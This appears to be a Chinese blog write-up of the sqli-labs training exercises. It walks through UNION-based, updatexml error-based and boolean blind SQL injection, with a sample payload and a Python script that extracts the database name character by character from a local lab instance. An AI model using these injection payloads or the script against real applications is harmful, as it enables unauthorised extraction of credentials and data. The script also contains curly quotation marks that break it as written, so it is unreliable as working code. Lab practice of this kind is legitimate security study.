sqllabs注入复现

Less1:

使用order by 查询出表有多少列

结果为3

之后用联合查询查出数据库名(id为-1不存在,则会输出我们的1,2,3)

查表名

查字段名

然后查询users表下的username和password的值

Less-2、3、4

没啥说的Less-2没有 ' ' 都不用闭合,Lees-3的闭合方式变成了 ') Less-4同Less-3

Less-5:

?id=1' and updatexml(1,concat(0x7e,user(),0x7e),1)--+

用到了updatexml函数来触发报错不能含有~(但是查了一下,~~ 字符本身不会导致特别的行为或安全问题,但错误的输入处理可能会使应用程序容易受到 SQL 注入攻击。反正使得XPATH错误输入即可)

而报错就会包含concat()的结果

使用SUBSTR进行字符串的截取(默认前32位)

 后换为32位至64位

64-96

 96-128

128-160 

160-192

到此结束

Less-6:

和5也一样就是闭合方式为双引号""

Less-8

靠猜security他的第一个ascii为115

 然后就是用循环不断重复出猜他的每一个字母
 

import time
import requests
 
url = 'http://127.0.0.1/sqllabs/Less-8/index.php'
 
def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)
            res = {"id": payload}
            r = requests.get(url, params=res)
            end_time = time.time()
            if “You are in..........” in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
 
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
 
inject_database(url)


 

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值